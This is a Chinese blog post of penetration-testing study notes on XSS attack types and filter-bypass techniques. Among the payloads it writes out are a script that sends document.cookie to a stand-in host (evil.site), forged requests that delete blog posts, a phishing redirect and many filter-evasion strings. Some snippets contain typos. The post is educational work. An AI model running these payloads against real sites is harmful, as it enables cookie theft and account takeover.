Web安全学习

本文最后更新于:2024年3月3日 晚上

Web安全学习

笔者正在学习渗透测试的途中,此篇博客用于记录学习历程、学习内容。

书单

该仓库内有许多安全方面的书籍:

1
https://github.com/fengjixuchui/Information_Security_Books

笔者本人购买了实体书籍《白帽子讲 Web 安全》(第二版),同时正在参阅书单中《渗透测试实战第三版(红队版)》,近期内容将围绕上述两本书展开。

XSS攻击

凡是可以往目标站点注入脚本的攻击行为都可以称为跨站脚本攻击(XSS)

一个简单的例子

对于如下源码:

1
2
3
4
5
<?php
session_start();
$name = isset($_GET['name']) ? $_GET['name'] : '';
?>
<p> Hello, <?php echo $name; ?>!</p>

由于直接将接收到的客户端提交的参数输出到HTML页面,若name参数包含HTML标签,则会当作代码来执行:

1
name = <script>alert(document.cookie)</script>

如此,便会暴露其 cookie,以提示框形式显示在页面上。

XSS的攻击类型

反射型 XSS 攻击

反射型 XSS 攻击是指服务端应用在收到客户端的请求后,未经过参数检查或安全过滤,直接将参数用于 HTML 中用于页面构建。

最常见的反射型 XSS 攻击方式是将恶意代码包含在 URL 参数中,但是攻击者需要诱使用户点击这个恶意 URL ,攻击才能成功。

反射型 XSS 也被称为“非持久型 XSS”,因为其 Payload 并未持久存储于服务端应用中,每次实施攻击都需要受害者访问带 Payload 的 URL。

存储型 XSS 攻击

在存储型 XSS 攻击中,服务端应用将攻击者提交的恶意代码存储在服务端,受害者每次访问一个“干净”的 URL 时,服务端会在相应页面中嵌入之前存储的恶意代码,这些恶意代码将在受害者客户端执行。由于不需要在受害者的请求中夹带恶意代码,故此种攻击更稳定,危害性也更大

例如:一个博客系统中存在该类漏洞,攻击者可以写一篇包含恶意 JavaScript 代码的博客文章,当其余用户浏览攻击者发布的博客时,该恶意代码就会执行。

存储型 XSS 漏洞也可能出现在一些更隐蔽、影响面更大的场景中,如社交网站中的个人简介、签名,甚至是昵称。如果网站没有相应的安全策略,就有可能产生这样的漏洞。

基于 DOM 的 XSS 攻击

前两种攻击方法都是与服务端应用的处理逻辑有关系的,恶意 JavaScript 代码在 HTTP 请求中被视为服务端的输入,并且被嵌入返回的 HTML 页面。但是正常应用中的 JavaScript 程序也可以接受外部的输入数据,并直接在客户端渲染和执行,如果处理不当,它就可能将外部数据当代码来执行。

即利用当前页面本身的 JavaScript 代码缺陷,进行恶意代码执行,而不是服务端返回恶意代码给到客户端执行,所以这种攻击称为基于 DOM 的 XSS 攻击。

例如:

1
2
3
4
<div id = "URL"></div>
<script>
document.getElementById('URL').innerHTML = decodeURI(location.herf);
</script>

JavaScript 代码将当前页面的 URL 当作 HTML 代码插入网页,此时如果 URL 中含有 HTML 标签,就将在当前网页产生新的 DOM 节点,通过特定标签可以引入 JavaScript 代码并执行。

1
http://localhost:8000/domxss.html?<img src=0 onerror="alert('xss')"

访问此 URL 后,浏览器将执行 URL 中指定的 JavaScript 弹窗代码。此案例看起来很像反射型 XSS ,但是它和反射型 XSS 有着本质的区别,因为服务端返回的 HTML 源码中并没有相应的弹窗代码,弹框代码是客户端原有页面的 JavaScript 代码在执行过程中引入的。它本质上是前端 JavaScript 的漏洞,而不是服务端程序的漏洞。

Self-XSS 攻击

这个类型的 XSS 攻击与前面几种手法不太一样,Self-XSS 是利用社会工程学欺骗用户,让他们复制恶意代码并粘贴到浏览器中,所以称为“Self-XSS”攻击。

但是现在大部分浏览器都有一定的防御措施,如地址栏不支持或不允许粘贴 JavaScript 伪协议的 URL,这种攻击也就失效了。

XSS 攻击进阶

最常见的 XSS Payload 是通过读取浏览器的 Cookie 对象而发起“Cookie 劫持”攻击的。由于 Web 应用通常用 Cookie 作为用户的身份凭证,如果一个用户的 Cookie 被攻击者获取,意味着攻击者获得了该用户的身份。

通常,为了实现复杂的攻击逻辑,可以将 Payload 放在一个 JavaScript 文件中, 然后通过<script>标签载入,这样就可以避免在 URL 中写入大量的代码:

1
http://localhost:8000/echo.php?name=<script src="http://evil.site/evil.js"></script>

在 evil.js 中,可以通过如下代码读取 Cookie 并将其发送到远程服务器上:

1
2
var img = new Image();
img.src = 'http://evil.site/log?cookie='+encodeURIComponent(document.cookie);

这段代码将 Cookie 作为参数填到一个攻击者指定的 URL 中,然后将 URL 作为一个图像的 src 属性,浏览器向攻击者指定网站(evil.site)发送尝试获取图像请求,实则是将受害者的 Cookie 发送到其指定网站。

攻击者获得 Cookie 之后,则可将其填入自己的浏览器,以受害者身份访问应用。

构造 GET 和 POST 请求

Web 应用通常是通过发送 GET 和 POST 请求与服务端交互的, XSS 攻击能实现在受害者浏览器中执行任意 JavaScript 代码,所以攻击者可以通过 JavaScript 让受害者发送 GET 或 POST 请求来执行 Web 应用中的功能。如博客的发表、删除和点赞等等。

关于构造 GET 请求,最简单的办法就是创建 Image 对象, 将其 src 属性指定为目标 URL,这样浏览器在获取图像时,就在当前页面发送了 GET 请求。

如:

1
2
var img = new Image();
img.src = 'http://blog.example.com/del?id=123'

在更多场景里,执行特定功能的操作是通过 POST 请求来实现的。使用 JavaScript 发送 POST 请求也很简单,有两种方法可以做到。

对于提交表单的操作,可以使用 JavaScript 创建一个表单对象,填充表单中的字段,然后提交。

1
2
3
4
5
6
7
8
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://blog.example.com/del';
var il = document.createElement("input");
il.name = 'id';
il.value = '123';
form.appendChild(il);
form.submit();

这种方式只能提交表单形式的请求。

对于更复杂的数据格式请求,需要用到 XMLHttpRequest 或 Fetch API,假如删除博客操作需要提交一个 JavaScriptON 格式的数据到服务端,代码如下:

1
2
3
4
5
6
7
var xhr = new XMLHttpRequest();
var json = {
"id" = "123"
};
xhr.open('POST', '/del');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JavaScriptON.stringify(json));

XSS 钓鱼

很多论坛或即时聊天软件都有识别可信 URL 的功能,但如果白名单上的 URL 存在 XSS 漏洞,则攻击者可非常简单地通过 XSS 实现 URL 跳转:

1
http://example.com/echo.name.php?name=<script>window.location='http://evil.site/';</script>

如果受害者以为自己还在 example 这个域名内,很可能会输入账号密码等敏感数据。

XSS 攻击平台

如 BeEF(https://beefproject.com/)

XSS 蠕虫

XSS 蠕虫最早是由 Samy Kamkar 实现并传播,其在短短几小时内感染了百万名用户,它在每位用户的简介后加上了一句话:”but most of all, Samy is my hero.”,这是 Web 安全史上的第一个重量级 XSS 蠕虫,具有里程碑意义。

XSS 蠕虫一般利用存储型 XSS 漏洞,将攻击代码存放在个人签名、站内信上,被感染后执行好友间群发,以具有诱惑力的标题将受害者引入(例如:有人暗恋你哦,你想知道ta是谁吗),成为新的载体。

XSS 攻击技巧

基本变形

最简单的方式是改变字母的大小写。HTML 标签是大小写不敏感的。

如果安全过滤函数只是简单检测 <script> 特征,则可以使用空格、换行符等绕过检测,如:

1
2
<script
>alert(document.domain)</script>

有些安全检测函数会删掉 script 标签,则提交如下 payload,在其过滤一次后,仍有有效标签:

1
<scr<script>ipt>....

事件处理程序

很多 HTML 节点都可以绑定事件处理程序,比如 img 标签,指定一个错误或不存在的 src 属性,载入图像失败时就会触发 onerror 事件:

1
<img src=0 onerror="alert(document.cookie);">

还有很多类似的事件:

1
2
3
4
<object onerror=alert(document.domain)>
<input onfocus=alert(document.domain)>
<video src=0 onerror=alert(document.cookie)>
<svg onload=alert(document.domain)>

构造不同的 HTML 标签并尝试使用不同的事件处理程序,可以绕过一些过滤不严格的安全防御机制。

JavaScript 伪协议

浏览器可以接受内联的 JavaScript 代码作为 URL。

1
2
3
<a href=javascript:alert(1)>Click me</a>
<iframe sec=javascript:alert(2)></iframe>
...

一些安全功能会滤掉 JavaScript 伪协议,可尝试插入空白字符绕过:

1
<a href="java&#13script&#9:alert(document.domain)">click me</a>

当开发者仅仅校验 host 是否为合法域名,而没有校验协议时:

1
javascript://example.com/%0d%0aalert(1)

其中的”//example.com”被当作 JavaScript 代码的注释,所以整个代码都是合法可行的。

编码绕过

关于长度限制:

可以利用事件减少字节数,最好的办法是将 XSS Payload 写到别处,再通过简短的代码加载这段 XSS Payload。

最常用藏代码的地方就是“location.hash”。根据 HTTP 协议 ,location.hash 内的内容不会在 HTTP 请求中发送,所以服务端的 Web 日志并不会记录 location.hash 的内容,从而隐藏了攻击者的真实意图。

1
?var=" onclick="evil(location.hash.substr(1))

输出后的 HTML:

1
<input value="" onclick="evil(location.hash.substr(1))" />

因为 location.hash 第一个字符为 #

所以构造的 XSS URL 为:

1
2
http://example.com/test.php?var="
onclick="eval(location.hash.substr(1))#alert(1)

当有多个变量值时,例如:

1
2
3
<input name="name" value="$name">
<input name="email" value="$email">
<input name="phone" value="$phone">

可以拼接代码,利用注释,将三行连成一句话。

1
?name="><script>/*&email=*/alert(document.domain)/*&phone=*/</script>

三个参数被拼接成完成的一句话:

1
2
3
<input name="name" value=""><script>/*">
<input name="email" value="*/alert(document.domain)/*">
<input name="phone" value="*/</script>>

其包含了完整的 JavaScript 代码,可以正常运行。

base 标签

base 标签用于定义该页面上,所有相对路径的 host 地址。

如果 base 标签被攻击者劫持,就可以在远程服务器上伪造图片、链接或脚本,劫持当前页面中所有使用“相对路径”的标签。

在设计 XSS 防御方案时,一定要过滤掉这个非常危险的标签。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!